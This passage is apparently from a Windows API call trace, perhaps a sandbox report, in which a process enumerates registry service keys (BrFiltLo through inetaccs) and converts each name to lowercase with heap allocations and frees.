lpUsedDefaultChar=0x0) returned 8 [0238.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0238.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.230] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0238.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0238.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.230] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0238.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0238.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.231] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0238.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0238.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.231] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0238.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0238.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.231] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0238.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0238.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.231] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0238.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0238.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.232] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0238.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0238.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.232] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0238.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0238.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.232] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0238.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0238.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.233] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0238.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0238.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1da8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0238.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.233] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0238.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0238.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0238.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.233] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0238.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0238.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1da8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0238.233] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0238.233] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0238.234] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0238.234] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0238.234] RegEnumKeyW (in: hKey=0x150, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0238.234] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0238.234] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0238.234] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0238.234] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0238.234] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0238.234] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0238.234] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0238.234] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0238.234] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0238.234] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0238.235] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0238.235] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0238.235] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0238.235] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0238.235] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0238.235] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0238.235] RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0238.235] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0238.235] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0238.235] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0238.235] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0238.235] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0238.235] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0238.236] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0238.236] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0238.236] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0238.236] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0238.236] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0238.236] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0238.236] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0238.236] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0238.236] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0238.236] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0238.236] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0238.236] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0238.236] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0238.237] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0238.237] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0238.237] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0238.237] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0238.237] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0238.237] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0238.237] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0238.237] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0238.237] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0238.237] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0238.237] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0238.237] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0238.237] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0238.237] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0238.238] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0238.238] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0238.238] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0238.238] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0238.238] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0238.238] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0238.238] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0238.238] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0238.238] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0238.238] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0238.238] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0238.238] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0238.238] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0238.238] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0238.238] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0238.239] RegEnumKeyW (in: hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0238.239] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0238.239] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0238.239] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0238.239] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0238.239] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0238.239] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0238.239] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0238.239] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0238.239] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0238.316] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") 